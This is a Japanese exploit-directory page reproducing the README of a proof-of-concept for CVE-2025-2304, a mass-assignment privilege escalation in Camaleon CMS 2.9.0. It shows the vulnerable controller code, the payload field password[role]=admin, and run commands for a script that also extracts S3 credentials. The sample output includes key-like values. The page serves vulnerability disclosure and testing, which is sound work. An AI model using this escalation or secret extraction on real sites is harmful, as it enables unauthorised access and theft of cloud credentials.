Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-2304 — Camaleon CMS v2.9.0における、updated_ajaxエンドポイントでの不適切なパラメータ処理を介した認証済み権限昇格 | Kitploit
ツール/GitHubGitHub/alien0ne/cve-2025-2304
特権昇格パスワード攻撃脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育
GitHubalien0ne/cve-2025-2304

CVE-2025-2304

Camaleon CMS v2.9.0における、updated_ajaxエンドポイントでの不適切なパラメータ処理を介した認証済み権限昇格

リポジトリを見る
1936ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Camaleon CMS 2.9.0 – 認証済み特権昇格(ロール変更)+ オプションのS3設定リーク

対象: Camaleon CMS v2.9.0
種類: updated_ajax におけるマスアサインメントを悪用した認証済み特権昇格(ロールフィールド)
追加機能: 昇格後、管理者設定ページからS3設定の取得が可能(認証ユーザーがアクセスできる場合)

概要

このリポジトリには、Python の概念実証スクリプトが含まれています。このスクリプトは次のことを行います:

  1. 有効な認証情報を使用して Camaleon CMS 管理パネルにログインします。
  2. /admin/profile/edit から CSRF トークンを取得します。
  3. updated_ajax エンドポイントを呼び出して password[...] フィールドを更新し、permit! を悪用して password[role]=admin を設定します。
  4. オプション(-e)で /admin/settings/site から S3 設定値を抽出します。
  5. オプション(-r)で実行後にロールを元の値に戻します。

この動作は、関連するアドバイザリで説明されている安全でないマスアサインメントパターンに一致します:

  • Tenable Research Advisory: TRA-2025-09

根本原因(脆弱性の箇所)

以下のコントローラアクションは、permit! を使用してユーザーを更新します:

root@kitploit:~
def updated_ajax
  @user = current_site.users.find(params[:user_id])
  update_session = current_user_is?(@user)

  @user.update(params.require(:password).permit!)
  render inline: @user.errors.full_messages.join(', ')

  # keep user logged in when changing their own password
  update_auth_token_in_cookie @user.auth_token if update_session && @user.saved_change_to_password_digest?
end

permit! は password 配下の すべて のキーを許可するため、攻撃者は以下を送信できます:

  • password[password]
  • password[password_confirmation]
  • password[role]=admin

これによりアプリケーションはそれを受け入れ、ユーザーのロールが昇格します。

影響

  • 脆弱なルートにアクセスできる認証済みユーザーは、ロールを admin に設定することで特権を昇格させる可能性があります。
  • 昇格後、管理者専用ページ(サイト設定など)にアクセスできるようになり、機密性の高い設定値(S3 キーなど)が漏洩する可能性があります。

必要条件

  • Python 3.8+
  • requests

依存関係のインストール:

root@kitploit:~
pip install requests

使用方法

基本的な特権昇格(認証済み)

root@kitploit:~
python exploit.py -u http://alienone.in -U test -P test

昇格 + S3設定の抽出(-e)

root@kitploit:~
python exploit.py -u http://alienone.in -U test -P test -e

昇格 + ロールの元に戻す(-r)

root@kitploit:~
python exploit.py -u http://alienone.in -U test -P test -r

昇格 + 抽出 + 元に戻す

root@kitploit:~
python exploit.py -u http://alienone.in -U test -P test -e -r

引数

サンプル実行

root@kitploit:~
python3 exploit.py -u http://alienone.in -U test -P test -e -r

サンプル出力

root@kitploit:~
[+]Camaleon CMS Version 2.9.0 PRIVILEGE ESCALATION (Authenticated)
[+]Login confirmed
   User ID: 5
   Current User Role: client
[+]Loading PPRIVILEGE ESCALATION
   User ID: 5
   Updated User Role: admin
[+]Extracting S3 Credentials
   s3 access key: AKIAF3A388ECF117D966
   s3 secret key: VRRVL5fePgqtow/1Xw65TL9iA2DXtj258BkH33Ux
   s3 endpoint: http://localhost:54321
[+]Reverting User Role
   User ID: 5
   User Role: client

PoC がログインを確認する方法

スクリプトは、ログイン POST 後の返された HTML 内に /admin/logout リンクがあるかどうかをチェックします。
ログアウトリンクが存在する場合、セッションは認証済みとみなされます。

CSRF トークンに関する注意

Camaleon は Rails スタイルの CSRF を使用します。トークンは通常、次の 2 つの場所で見られます:

  • フォーム内の隠し入力:name="authenticity_token" value="..."
  • メタタグ:<meta name="csrf-token" content="...">

PoC は /admin/profile/edit から meta csrf-token を取得し、以下の場所で使用します:

  • リクエストボディ:authenticity_token=<token>
  • ヘッダー:X-CSRF-Token: <token>

免責事項

このコードは、認可されたセキュリティテストおよび教育目的のみ(例:ラボ、CTF、明示的な許可がある環境)で提供されます。
所有していない、またはテストする許可がないシステムに対して使用しないでください。


参考情報

  • https://nvd.nist.gov/vuln/detail/CVE-2025-2304
  • https://www.tenable.com/security/research/tra-2025-09
  • owen2345/camaleon-cms#1109
  • owen2345/camaleon-cms@179fd6b
  • https://github.com/owen2345/camaleon-cms/releases/tag/2.9.0
  • https://github.com/rubysec/ruby-advisory-db/blob/master/gems/camaleon_cms/CVE-2025-2304.yml
ツールをダウンロード
フラグ説明
-u, --urlベースURL(例:http://alienone.in)
-U, --username有効なユーザー名
-P, --password有効なパスワード
--newpass更新リクエストで送信するパスワード値(デフォルト:test)
-e, --extract設定ページからS3設定を抽出
-r, --revert昇格後にロールを元のロールに戻す